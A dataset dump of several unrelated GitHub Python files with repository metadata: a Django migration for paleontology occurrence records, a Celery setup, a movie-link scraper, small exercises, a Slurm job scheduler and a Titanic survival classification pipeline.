verbose_name=b'Collecting Method', choices=[(b'Surface Standard', b'Surface Standard'), (b'Surface Intensive', b'Surface Intensive'), (b'Surface Complete', b'Surface Complete'), (b'Exploratory Survey', b'Exploratory Survey'), (b'Dry Screen 5mm', b'Dry Screen 5mm'), (b'Dry Screen 2mm', b'Dry Screen 2mm'), (b'Wet Screen 1mm', b'Wet Screen 1mm')])),\n                ('related_catalog_items', models.CharField(max_length=50, null=True, verbose_name=b'Related Catalog Items', blank=True)),\n                ('collector', models.CharField(blank=True, max_length=50, null=True, choices=[(b'Zeresenay Alemseged', b'Zeresenay Alemseged'), (b'Rene Bobe', b'Rene Bobe'), (b'Denis Geraads', b'Denis Geraads'), (b'Shannon McPherron', b'Shannon McPherron'), (b'Denne Reed', b'Denne Reed'), (b'Jonathan Wynn', b'Jonathan Wynn')])),\n                ('finder', models.CharField(max_length=50, null=True, blank=True)),\n                ('disposition', models.CharField(max_length=255, null=True, blank=True)),\n                ('field_number', models.DateTimeField(null=True, editable=False, blank=True)),\n                ('year_collected', models.IntegerField(null=True, blank=True)),\n                ('individual_count', models.IntegerField(default=1, null=True, blank=True)),\n                ('preparation_status', models.CharField(max_length=50, null=True, blank=True)),\n                ('stratigraphic_marker_upper', models.CharField(max_length=255, null=True, blank=True)),\n                ('distance_from_upper', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('stratigraphic_marker_lower', models.CharField(max_length=255, null=True, blank=True)),\n                ('distance_from_lower', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('stratigraphic_marker_found', models.CharField(max_length=255, null=True, blank=True)),\n                ('distance_from_found', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('stratigraphic_marker_likely', models.CharField(max_length=255, null=True, blank=True)),\n                ('distance_from_likely', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('stratigraphic_member', models.CharField(max_length=255, null=True, blank=True)),\n                ('analytical_unit', models.CharField(max_length=255, null=True, blank=True)),\n                ('analytical_unit_2', models.CharField(max_length=255, null=True, blank=True)),\n                ('analytical_unit_3', models.CharField(max_length=255, null=True, blank=True)),\n                ('in_situ', models.BooleanField(default=False)),\n                ('ranked', models.BooleanField(default=False)),\n                ('image', models.FileField(max_length=255, null=True, upload_to=b'uploads/images/drp', blank=True)),\n                ('weathering', models.SmallIntegerField(null=True, blank=True)),\n                ('surface_modification', models.CharField(max_length=255, null=True, blank=True)),\n                ('problem', models.BooleanField(default=False)),\n                ('problem_comment', models.TextField(max_length=255, null=True, blank=True)),\n                ('geom', django.contrib.gis.db.models.fields.GeometryField(srid=4326, null=True, blank=True)),\n                ('paleolocality_number', models.IntegerField(null=True, verbose_name=b'Locality #', blank=True)),\n                ('paleo_sublocality', models.CharField(max_length=50, null=True, verbose_name=b'Sublocality', blank=True)),\n                ('locality_text', models.CharField(max_length=255, null=True, db_column=b'locality', blank=True)),\n                ('verbatim_coordinates', models.CharField(max_length=50, null=True, blank=True)),\n                ('verbatim_coordinate_system', models.CharField(max_length=50, null=True, blank=True)),\n                ('geodetic_datum', models.CharField(max_length=20, null=True, blank=True)),\n                ('collection_remarks', models.CharField(max_length=255, null=True, verbose_name=b'Remarks', blank=True)),\n                ('stratigraphic_section', models.CharField(max_length=50, null=True, blank=True)),\n                ('stratigraphic_height_in_meters', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n            ],\n            options={\n                'ordering': ['collection_code', 'paleolocality_number', 'item_number', 'item_part'],\n                'verbose_name': 'DRP Occurrence',\n                'verbose_name_plural': 'DRP Occurrences',\n            },\n        ),\n        migrations.CreateModel(\n            name='Biology',\n            fields=[\n                ('occurrence_ptr', models.OneToOneField(parent_link=True, auto_created=True, primary_key=True, serialize=False, to='drp.Occurrence')),\n                ('infraspecific_epithet', models.CharField(max_length=50, null=True, blank=True)),\n                ('infraspecific_rank', models.CharField(max_length=50, null=True, blank=True)),\n                ('author_year_of_scientific_name', models.CharField(max_length=50, null=True, blank=True)),\n                ('nomenclatural_code', models.CharField(max_length=50, null=True, blank=True)),\n                ('identified_by', models.CharField(max_length=100, null=True, blank=True)),\n                ('date_identified', models.DateTimeField(null=True, blank=True)),\n                ('type_status', models.CharField(max_length=50, null=True, blank=True)),\n                ('sex', models.CharField(max_length=50, null=True, blank=True)),\n                ('life_stage', models.CharField(max_length=50, null=True, blank=True)),\n                ('preparations', models.CharField(max_length=50, null=True, blank=True)),\n                ('morphobank_number', models.IntegerField(null=True, blank=True)),\n                ('side', models.CharField(max_length=50, null=True, blank=True)),\n                ('attributes', models.CharField(max_length=50, null=True, blank=True)),\n                ('fauna_notes', models.TextField(max_length=64000, null=True, blank=True)),\n                ('tooth_upper_or_lower', models.CharField(max_length=50, null=True, blank=True)),\n                ('tooth_number', models.CharField(max_length=50, null=True, blank=True)),\n                ('tooth_type', models.CharField(max_length=50, null=True, blank=True)),\n                ('um_tooth_row_length_mm', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('um_1_length_mm', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('um_1_width_mm', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('um_2_length_mm', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('um_2_width_mm', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('um_3_length_mm', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('um_3_width_mm', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('lm_tooth_row_length_mm', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('lm_1_length', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('lm_1_width', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('lm_2_length', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('lm_2_width', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('lm_3_length', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('lm_3_width', models.DecimalField(null=True, max_digits=38, decimal_places=8, blank=True)),\n                ('element', models.CharField(max_length=50, null=True, blank=True)),\n                ('element_modifier', models.CharField(max_length=50, null=True, blank=True)),\n                ('uli1', models.BooleanField(default=False)),\n                ('uli2', models.BooleanField(default=False)),\n                ('uli3', models.BooleanField(default=False)),\n                ('uli4', models.BooleanField(default=False)),\n                ('uli5', models.BooleanField(default=False)),\n                ('uri1', models.BooleanField(default=False)),\n                ('uri2', models.BooleanField(default=False)),\n                ('uri3', models.BooleanField(default=False)),\n                ('uri4', models.BooleanField(default=False)),\n                ('uri5', models.BooleanField(default=False)),\n                ('ulc', models.BooleanField(default=False)),\n                ('urc', models.BooleanField(default=False)),\n                ('ulp1', models.BooleanField(default=False)),\n                ('ulp2', models.BooleanField(default=False)),\n                ('ulp3', models.BooleanField(default=False)),\n                ('ulp4', models.BooleanField(default=False)),\n                ('urp1', models.BooleanField(default=False)),\n                ('urp2', models.BooleanField(default=False)),\n                ('urp3', models.BooleanField(default=False)),\n                ('urp4', models.BooleanField(default=False)),\n                ('ulm1', models.BooleanField(default=False)),\n                ('ulm2', models.BooleanField(default=False)),\n                ('ulm3', models.BooleanField(default=False)),\n                ('urm1', models.BooleanField(default=False)),\n                ('urm2', models.BooleanField(default=False)),\n                ('urm3', models.BooleanField(default=False)),\n                ('lli1', models.BooleanField(default=False)),\n                ('lli2', models.BooleanField(default=False)),\n                ('lli3', models.BooleanField(default=False)),\n                ('lli4', models.BooleanField(default=False)),\n                ('lli5', models.BooleanField(default=False)),\n                ('lri1', models.BooleanField(default=False)),\n                ('lri2', models.BooleanField(default=False)),\n                ('lri3', models.BooleanField(default=False)),\n                ('lri4', models.BooleanField(default=False)),\n                ('lri5', models.BooleanField(default=False)),\n                ('llc', models.BooleanField(default=False)),\n                ('lrc', models.BooleanField(default=False)),\n                ('llp1', models.BooleanField(default=False)),\n                ('llp2', models.BooleanField(default=False)),\n                ('llp3', models.BooleanField(default=False)),\n                ('llp4', models.BooleanField(default=False)),\n                ('lrp1', models.BooleanField(default=False)),\n                ('lrp2', models.BooleanField(default=False)),\n                ('lrp3', models.BooleanField(default=False)),\n                ('lrp4', models.BooleanField(default=False)),\n                ('llm1', models.BooleanField(default=False)),\n                ('llm2', models.BooleanField(default=False)),\n                ('llm3', models.BooleanField(default=False)),\n                ('lrm1', models.BooleanField(default=False)),\n                ('lrm2', models.BooleanField(default=False)),\n                ('lrm3', models.BooleanField(default=False)),\n                ('identification_qualifier', models.ForeignKey(related_name='drp_biology_occurrences', to='taxonomy.IdentificationQualifier')),\n                ('taxon', models.ForeignKey(related_name='drp_biology_occurrences', to='taxonomy.Taxon')),\n            ],\n            options={\n                'verbose_name': 'DRP Biology',\n                'verbose_name_plural': 'DRP Biology',\n            },\n            bases=('drp.occurrence',),\n        ),\n        migrations.AddField(\n            model_name='occurrence',\n            name='locality',\n            field=models.ForeignKey(blank=True, to='drp.Locality', null=True),\n        ),\n        migrations.AddField(\n            model_name='image',\n            name='occurrence',\n            field=models.ForeignKey(related_name='drp_occurrences', to='drp.Occurrence'),\n        ),\n        migrations.AddField(\n            model_name='file',\n            name='occurrence',\n            field=models.ForeignKey(to='drp.Occurrence'),\n        ),\n    ]\n","repo_name":"paleocore/paleocore-retired","sub_path":"drp/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":17692,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"1173513325","text":"import os\nfrom celery import Celery\n\n# Set the default Django settings module for the 'celery' program.\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'goodreads.settings')\n\n# Create a new Celery application instance.\napp = Celery('goodreads')\n\n# Load the celery configuration from the Django settings.\napp.config_from_object('django.conf:settings', namespace='CELERY')\n\n# Discover and register task modules from all registered Django apps.\napp.autodiscover_tasks()\n\n\n# Define a debug task.\n@app.task(bind=True)\ndef debug_task(self):\n    print(f'Request: {self.request!r}')\n","repo_name":"Arslonbek13/goodreads","sub_path":"goodreads/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29024689260","text":"#! /usr/bin/env python\n# encoding:UTF-8\nimport re\nimport pymysql.cursors\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nresp = urlopen(\"http://www.dy2018.com/html/gndy/index.html\").read().decode(\"gbk\")\nsoup = BeautifulSoup(resp, \"html.parser\")\nlinks = soup.find_all(class_=\"inddline\")\nlinks = str(links)\nsoup2 = BeautifulSoup(links, \"html.parser\")\nhref = soup2.find_all('a')\nhrefs = []\ndata = []\nfor url in href:\n    urls = str(\"http://www.dy2018.com/\"+url['href'])\n    if not (urls == 'http://www.dy2018.com//html/gndy/jddyy/'or urls == 'http://www.dy2018.com//html/gndy/dyzz/'or urls =='http://www.dy2018.com//html/gndy/jddy/'):\n        hrefs.append(urls)\nfor x in hrefs:\n    resp1 = urlopen(x).read().decode(\"gbk\")\n    soup1 = BeautifulSoup(resp1, \"html.parser\")\n    ftp = soup1.find(bgcolor=\"#fdfddf\").get_text()\n    text = soup1.find(\"title\").get_text()\n    name = re.findall(r\"(?<=年|月|《).+(?=迅雷|》)\", text)\n    data.append(ftp)\n    data.append(name[0])\n# print(data)\ndb = pymysql.connect(\"127.0.0.1\", \"root\", \"\", \"moviesdata\", charset=\"utf8mb4\")\ncursor = db.cursor()\nsql1 = \"select max(id) from links\"\ncursor.execute(sql1)\ntry:\n    db.commit()\n    b = cursor.fetchone()[0]\n    if b == None:\n        b = 0\n    # print(b)\nexcept Exception as e:\n    db.rollback()\n    print(\"查询最后一条记录失败\", e)\nfor i in range(0, len(data), 2):\n    db = pymysql.connect(\"127.0.0.1\", \"root\", \"\", \"moviesdata\", charset=\"utf8mb4\")\n    cursor = db.cursor()\n    b = b+1\n    # print(\"for 内\", b)\n    sql = \"insert into links(id,name,Thunderlinks)values(%d,'%s','%s')\" % \\\n          (b, data[i+1], data[i])\n    try:\n        cursor.execute(sql)\n        db.commit()\n        # print(data[i + 1])\n    except Exception as e:\n        db.rollback()\n        print(\"error\", e)\nsql_del = \"\"\"\nDELETE FROM links WHERE id in(select * from (select MAX(id) from links group by Thunderlinks having count(Thunderlinks) > 1) as b)\n\"\"\"\ntry:\n    cursor.execute(sql_del)\n    db.commit()\nexcept Exception as e:\n    db.rollback()\n    print(\"删除重复数据失败\", e)\ndb.close()\n\n\n","repo_name":"HaoZinger/python","sub_path":"Get movie links.py","file_name":"Get movie links.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"10499412520","text":"\"\"\"\nThe problem about point reflection\n\"\"\"\n\nnum_sets = int(input().strip())\n\ncoordinates = []\nfor line in range(num_sets):\n    points = [int(x) for x in input().strip().split()]\n    coordinates.append(points)\n\nfor point in coordinates:\n    diff_x = point[2] - point[0]\n    diff_y = point[3] - point[1]\n    print(point[2] + diff_x, point[3] + diff_y)\n","repo_name":"shakeyapants/solved_problems","sub_path":"find_the_point.py","file_name":"find_the_point.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38735150792","text":"#coding=utf-8\nimport unittest\nimport site_helper, test_helper, model\nfrom model import factory as ModelFactory\n\nclass TestFactory(unittest.TestCase):\n\n    def test_getInstance(self):\n        '''ModelFactory可以根据class名和新表名动态生成新model，此新model类似继承了class，但使用了新的table_name, 因此它会链接另外一个数据表，而和原class的数据互不影响。'''\n        test_helper.dropTable('your_table')\n        new_image = ModelFactory.getInstance('Image','your_table')\n        self.assertTrue(isinstance(new_image, model.Image))\n        self.assertTrue(not site_helper.getDBHelper().isTableExists('your_table'))\n        self.assertEqual(new_image.table_name, 'your_table')\n","repo_name":"ajiexw/old-zarkpy","sub_path":"web/cgi/testing/model_testing/TestFactory.py","file_name":"TestFactory.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"18415999134","text":"#!/usr/bin/env python3\n\n\"\"\"Convert pretty printed json to non-pretty printed json.\n\"\"\"\nimport sys, os\n\ndef pp2nopp():\n    \"\"\"Convert multi-line json to single line json.\n    \"\"\"\n    outStr = ''\n    for line in sys.stdin:\n        if (len(line) > 0) and (line[0] == '#'):\n            continue\n        line = line.rstrip()\n\n        if line == '{':\n            outStr = '{'\n        elif line == '}':\n            outStr = outStr + '}'\n            print(outStr)\n        else:\n            outStr = outStr + line.strip()\n\nif __name__ == \"__main__\":\n    ## --- Script Code ---##\n    pp2nopp()\n","repo_name":"rand-projects/fisb-decode","sub_path":"misc/pp2nopp.py","file_name":"pp2nopp.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"}
{"seq_id":"18248568154","text":"import sys\n\nclass Jar:\n    def __init__(self, capacity=12):\n        if(capacity<=0):\n            self._capacity=0\n            raise ValueError(\"ValueError\")\n        else:\n            self._capacity=capacity\n        self._size=0\n\n    def __str__(self):\n        self._s=\"\"\n        for x in range(self._size):\n            self._s+=\"�\"\n        return self._s\n\n    def deposit(self, n):\n        if(self._size+n > self._capacity):\n            raise ValueError(\"ValueError\")\n        else:\n            self._size+=n\n\n    def withdraw(self, n):\n        if(n > self._size):\n            raise ValueError(\"ValueError\")\n        else:\n            self._size-=n\n\n    @property\n    def capacity(self):\n        return self._capacity\n\n    @property\n    def size(self):\n        return self._size\n\ndef main():\n    jar = get_jar()\n    print(jar)\n    jar.deposit(6)\n    print(jar.size,\" : \",jar.capacity)\n    print(jar)\n    jar.withdraw(1)\n    print(jar.size,\" : \",jar.capacity)\n    print(jar)\n\ndef get_jar():\n    c = input(\"capacity: \")\n    return Jar(c)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"mark-227-g/Python-CS50P","sub_path":"jar/jar.py","file_name":"jar.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"70100142511","text":"import sqlite3\nfrom functions import api_call, current_price, symbol_check, create_errors, get_port_name, ma_compute_yf\nimport yfinance as yf\n\n\nname = \"20\"\nportfolio = \"ports 1\"\nportfolio_id = \"portfolio1\"\n\n\nsymbol1 = \"JPM\"\nsymbol2 = \"XLK\"\nsymbol3 = \"WFC\"\nsymbol_list = [symbol1, symbol2, symbol3]\n\nname = 20\nnew_list = []\nconn = sqlite3.connect('database.db')\ncursor = conn.cursor()\n\n\ncursor.execute(\"SELECT symbol FROM portfolios WHERE users_id = ? AND portfolio_id = ?\", (name, portfolio_id))\ndata = cursor.fetchall()\nstocks = []\nfor x in range(0, len(data)):\n    stocks.append(data[x][0])\n\ntemp3 = []\nfor element in symbol_list:\n    if element not in stocks:\n        temp3.append(element)\n            \n\nprint(stocks)\nprint(temp3)\nconn.commit()\nconn.close()\n\n","repo_name":"jarrodschilling/projects","sub_path":"my_breadth/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74784023791","text":"#!/usr/bin/env python\n# -*- coding:UTF-8 -*-\n# author: songquanheng\n# email: wannachan@outlook.com\n# date: 2022/10/19 周三 11:31:57\n# description: 该文件负责周期性的处理作业条目数据，组织成slurm脚本，并通过paramico提交作业\nimport sys\nfrom pathlib import Path\n\nfrom db.db_cluster import dBClusterService\nfrom job.job_delivery import JobDelivery\nfrom utils.log import Log\n\nsys.path.append(str(Path(__file__).parent.parent))\nimport time\nfrom typing import List\nfrom db.db_partition import dBPartitionService\nfrom db.db_running_job import dbRunningJobService\nfrom db.dp_cluster_status_table import ClusterStatus, PartitionStatus\nfrom db.dp_job_data_submit_table import JobDataSubmit\nfrom db.dp_running_job_table import RunningJob\nfrom job.single_job_data_item_service import SingleJobDataItemService\nfrom job.db_job_submit import dBJobSubmitService\nfrom slurm_monitor.monitor import slurm_search\nfrom utils.date_utils import DateUtils\n\nlog = Log.ulog(\"schedule_handle_job_data_item.log\")\n\n\ndef handle_job_data_item():\n    \"\"\"执行定期扫描程序，处理所有的作业数据条目\"\"\"\n    groups = SingleJobDataItemService.group_by_job_total_id()\n    job_total_ids = [group[0] for group in groups]\n    print(\"时刻{tm}共有{size}类,内容{con}的作业数据条目待处理\".format(size=len(groups), con=[group[0] for group in groups],\n                                                     tm=time.strftime('%Y:%m:%d %H:%M:%S',\n                                                                      time.localtime(int(time.time())))))\n    # 待处理的作业条目信息, 此时可以通过策略的不同\n    running_submits = dBJobSubmitService.get_submit_records(job_total_ids)\n    partitions = dBPartitionService.get_available_partitions()\n    if len(running_submits) <= 0 or len(partitions) <= 0:\n        return\n    print(f\"共有待处理作业类型: {len(running_submits)}个, 可用分区为: {len(partitions)}\")\n    schedule(running_submits, partitions)\n\n\ndef schedule(running_submit_records: List[JobDataSubmit], partitions: List[PartitionStatus]):\n    for submit in running_submit_records:\n        if not can_schedule(submit, partitions):\n            print(\"该作业：%d, 作业名称: %s无法被此时的分区列表进行调度\" %\n                  (submit.job_total_id, submit.job_name))\n            continue\n        print(\"该作业：%d, 作业名称: %s可以被此时的分区列表进行调度\" %\n              (submit.job_total_id, submit.job_name))\n        schedule_submit_record(submit, partitions)\n\n\ndef can_schedule(record: JobDataSubmit, partitions: List[PartitionStatus]):\n    \"\"\"判断该类型的作业是否可以被当前可用的分区列表进行调度\"\"\"\n    for partition in partitions:\n        if partition.can_schedule(record):\n            return True\n    return False\n\n\ndef schedule_submit_record(record: JobDataSubmit, partitions: List[PartitionStatus]):\n    \"\"\"使用此组分区列表调度该作业投递记录\"\"\"\n    # 由于一次循环可能无法将record类的所有单条数据全部调度完，因此使用while循环\n    while can_schedule(record, partitions):\n        print(f\"处理作业:{record.job_name}, job_total_id: {record.job_total_id:d}\")\n        print(f\"该作业仍有{SingleJobDataItemService.count_of_items(record.job_total_id)}个作业条目未处理\")\n        avail_index = find_available_partition(record, partitions)\n        print(f\"可用的索引为{avail_index}, 可用分区为: {partitions[avail_index]}\")\n        handle(record, partitions[avail_index])\n        del partitions[avail_index]\n\n\ndef find_available_partition(record: JobDataSubmit, partitions: List[PartitionStatus]) -> int:\n    \"\"\"找到能够用于处理该作业条目的某个分区，返回可用的分区序号\"\"\"\n    for index, partition in enumerate(partitions):\n        if partition.can_schedule(record):\n            return index\n\n    raise Exception(\n        \"在find_available_partition中，partitions: %s, 无法调度作业: %s\" % (partitions, record))\n\n\ndef handle(record: JobDataSubmit, partition: PartitionStatus):\n    \"\"\"使用分区partition来处理record类型的作业条目\"\"\"\n    cluster = dBClusterService.get_cluster_by_name(partition.cluster_name)\n    print(f\"in handle, cluster: {cluster}, partition: {partition}\")\n\n    job_data_items, needed_nodes = get_node_count_and_items(partition, record)\n    job_delivery = JobDelivery(cluster, partition, needed_nodes, record, job_data_items)\n\n    if not job_delivery.can_submit():\n        log.info(f\"{cluster.cluster_name}集群中已经提交的作业数为{cluster.submit_jobs_num}>={cluster.max_submit_jobs_limit}\")\n        return\n\n    print(f\"{cluster.cluster_name}集群中已经提交的作业数为{cluster.submit_jobs_num}\")\n    job_delivery.delivery()\n    update_running_job_and_item(job_delivery)\n    trigger_partition_change(partition)\n    print(\n        f\"调度完成：集群名称={partition.cluster_name}, 分区名={partition.partition_name},调度了{record.job_total_id}的{len(job_data_items)}个作业条目, 作业数据条目为: {[item.data_file for item in job_data_items]}\")\n\n\ndef get_node_count_and_items(partition, record):\n    \"\"\"\n    根据分区资源信息和记录的资源要求获得处理的节点数和作业条目数\n    @rtype: object\n    \"\"\"\n    if record.needs_handle_sequential():\n        return get_node_count_and_items_sequentially(record)\n    return get_node_count_and_items_parallel(partition, record)\n\n\ndef update_running_job_and_item(job_delivery):\n    \"\"\"\n    由于作业投递成功之后，需要插入正在运行的作业，并且删除正在计算的作业，\n    此部分函数需要位于事务中\n    @param job_delivery: 已经提交成功的作业投递\n    \"\"\"\n    dbRunningJobService.add(get_running_job(job_delivery))\n    single_item_primary_ids = [item.primary_id for item in job_delivery.job_data_items]\n    SingleJobDataItemService.delete_batch(single_item_primary_ids)\n    print(f\"删除了{len(job_delivery.job_data_items)}个作业条目\")\n\n\ndef get_node_count_and_items_parallel(partition, record):\n    \"\"\"\n    当作业条目需要的节点小于1时，表名，1个节点允许同时处理多个作业\n    @param partition: 待提交的作业分区\n    @param record: 记录\n    @return: 待处理的条目数和所需要的节点数\n    \"\"\"\n    max_schedule_num = partition.number_can_schedule(record)\n    job_data_items = SingleJobDataItemService.query_according_id_and_limit(\n        record.job_total_id, max_schedule_num)\n    if len(job_data_items) < max_schedule_num:\n        print(f\"job_total_id={record.job_total_id}作业已经处理完成, 当前时刻={DateUtils.now_str()}\")\n    needed_nodes = partition.nodes_avail\n    if len(job_data_items) < partition.nodes_avail:\n        # 保证至少每个节点都有一个作业\n        needed_nodes = record.nodes_need_to_handle(len(job_data_items))\n    return job_data_items, needed_nodes\n\n\ndef get_node_count_and_items_sequentially(record):\n    max_schedule_num = 1\n    job_data_items = SingleJobDataItemService.query_according_id_and_limit(\n        record.job_total_id, max_schedule_num)\n    needed_nodes = record.nodes_need_to_handle(len(job_data_items))\n    return job_data_items, needed_nodes\n\n\ndef get_running_job(job_delivery: JobDelivery):\n    \"\"\"\n    根据投递数据、分区信息、脚本名称、作业id、作业状态生成\n    @param job_delivery:\n    \"\"\"\n    job = RunningJob()\n    job.cluster_name = job_delivery.partition.cluster_name\n    job.partition_name = job_delivery.partition.partition_name\n    job.file_list = f\"{[item.data_file for item in job_delivery.job_data_items]}\"\n    job.job_id = job_delivery.job_id\n    job.state = job_delivery.job_state\n    job.sbatch_file_path = job_delivery.slurm_script_path\n    job.job_total_id = job_delivery.job_data_submit.job_total_id\n    job.job_name = job_delivery.job_name\n    return job\n\n\ndef trigger_partition_change(partition: PartitionStatus):\n    cluster: ClusterStatus = partition.clusterstatus\n    host = cluster.ip\n    port = cluster.port\n    user = cluster.user\n    password = cluster.password\n    slurm_search(name=partition.cluster_name, host=host, port=port, user=user, password=password)\n    print(f\"分区状态更新完成\")\n","repo_name":"Harrisonyong/CrossClusterComputing","sub_path":"job/schedule_handle_job_data_item.py","file_name":"schedule_handle_job_data_item.py","file_ext":"py","file_size_in_byte":8280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34423395514","text":"# imports\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn import tree\nfrom sklearn. metrics import accuracy_score\nfrom sklearn.neighbors import KNeighborsClassifier\n\n# SINGLE CLEANING FUNCTIONS:\n\n# read in data:\ndef read_data(filepath):\n    df = pd.read_csv(filepath)\n    return df\n\n#change a column to a different datatype\ndef change_dtype(df, col, type):\n    df[col] = df[col].astype(type)\n    \n# drop a column\ndef drop_col(df,col):\n    df.drop(columns=col, axis = 1, inplace = True)\n    \n# change values of a column using a mapping dictionary\ndef change_type(df, col, map_dict):\n    df[col] = df[col].map(map_dict)\n    \n# drop rows with nans in a specific column:\ndef drop_nan(df,col):\n    df = df[df[col].notna()]\n    \n# fill in nan values in the age column, and remove outliers\ndef change_age(df,age):\n    df.loc[(df['Age'].isnull())&(df['Survived'] ==1), 'Age']= 28.34\n    df.loc[(df['Age'].isnull())&(df['Survived']==0), 'Age']= 30.62\n    df = df[df[age] <= 75]\n    \n# create dummy columns:\ndef getDummies(df, col, dropfirst = True):\n    df = pd.get_dummies(data = df, columns = [col], drop_first=dropfirst)\n    return df\n\n# COMBINED CLEANING FUNCTIONS:\n\n# cleans all data:\ndef data_cleaning(csv):     \n    df = read_data(csv)\n    drop_col(df,'Cabin')\n    drop_col(df,'Name')\n    drop_col(df,'Ticket')\n    drop_col(df,'Embarked')\n    #drop_col(df,'Fare')\n    df = getDummies(df, 'Sex')\n    df = getDummies(df, 'Pclass', False)\n    return df\n  \n# This is just for the TRAIN data. It calls the previous function, and adds any extra steps: \ndef train_data_cleaning(csv):\n    df = data_cleaning(csv)\n    change_dtype(df,'Survived', int)\n    change_age(df,'Age')\n    return df\n\n# read in and clean TRAIN data:\ndf = train_data_cleaning('titanic_train.csv')\n\n# Scale TRAIN data\ndef scale_train_data(X_train, scaler_type):\n    scaler = scaler_type\n    X_train_scaled = scaler.fit_transform(X_train)\n    return X_train_scaled, scaler\n\n# Scale TEST data or NEW data using existing scaler\ndef scale_new_data(new_data, scaler):\n    new_data_scaled = scaler.fit_transform(new_data)\n    return new_data_scaled\n\n# Splits cleaned TRAIN data, scales it(using above functions) and returns all.\ndef prep_data(df):\n    X = df.drop(['Survived', 'PassengerId'], axis = 1) \n    y = df['Survived']\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.20)\n    X_train_scaled, scaler = scale_train_data(X_train, MinMaxScaler())\n    X_test_scaled = scale_new_data(X_test, scaler)\n    return X, y, X_train, X_test, y_train, y_test, X_train_scaled, X_test_scaled, scaler\n\n#Cleans and scale NEW data:\ndef clean_scale_data(csv, scaler):\n    test_df = data_cleaning(csv)\n    test_df.loc[test_df['Age'].isnull(), 'Age']= test_df['Age'].mean()\n    test_df.loc[test_df['Fare'].isnull(), 'Fare']= 6.2375\n    drop_col(test_df,'PassengerId')\n    test_df_scaled = scale_new_data(test_df, scaler)\n    return test_df, test_df_scaled\n\n\n\n#makes model, output preiction to csv and print scores\ndef fit_predict_model(model_with_params, model_initial, test_data_scaled, test_data_original):\n    model = model_with_params\n    model.fit(X_train_scaled, y_train)\n    #predit test set of Train data:\n    prediction=model.predict(X_test_scaled)\n    # predict test data:\n    pred= model.predict(test_data_scaled)\n    merged=test_data_original.merge(pd.DataFrame(pred), left_on=None, right_on=None, left_index=True, right_index=True)\n    output = pd.DataFrame({'PassengerId': merged['PassengerId'], 'Survived':merged[0] })\n    #output predictions to csv\n    output.to_csv(f'{model_initial}_team8.csv', index=False)\n    #get score of model\n    cv_scores = cross_val_score(model, X, y, cv=5)\n    precision = precision_score(y_test, prediction)\n    recall = recall_score(y_test, prediction)\n    print(precision, recall)\n    print('{} cv_scores mean: {}, Precision: {}, Recall: {}'.format(model_initial, np.mean(cv_scores), precision, recall))\n\n# split and scale our TRAIN data:\nX, y, X_train, X_test, y_train, y_test, X_train_scaled, X_test_scaled, scaler = prep_data(df)\n\n\ntest_path = 'test (1) - test (2).csv'\ntest_data = pd.read_csv(test_path)\ntest_df, test_df_scaled = clean_scale_data(test_path, scaler)\ntest_df_scaled = pd.DataFrame(test_df_scaled, columns = X.columns)\n\n#Call function on all models:\n\n# logistic regression\nfit_predict_model(LogisticRegression(max_iter= 500, penalty='l2',C=.5), 'lr', test_df_scaled, test_data)\n\n# Tree\nfit_predict_model(DecisionTreeClassifier(criterion='entropy', max_depth=4), 'dt', test_df_scaled, test_data)\n\n#Forest\nfit_predict_model(RandomForestClassifier(criterion = 'gini', max_depth = 7, max_features = None, n_estimators = 10), 'rf', 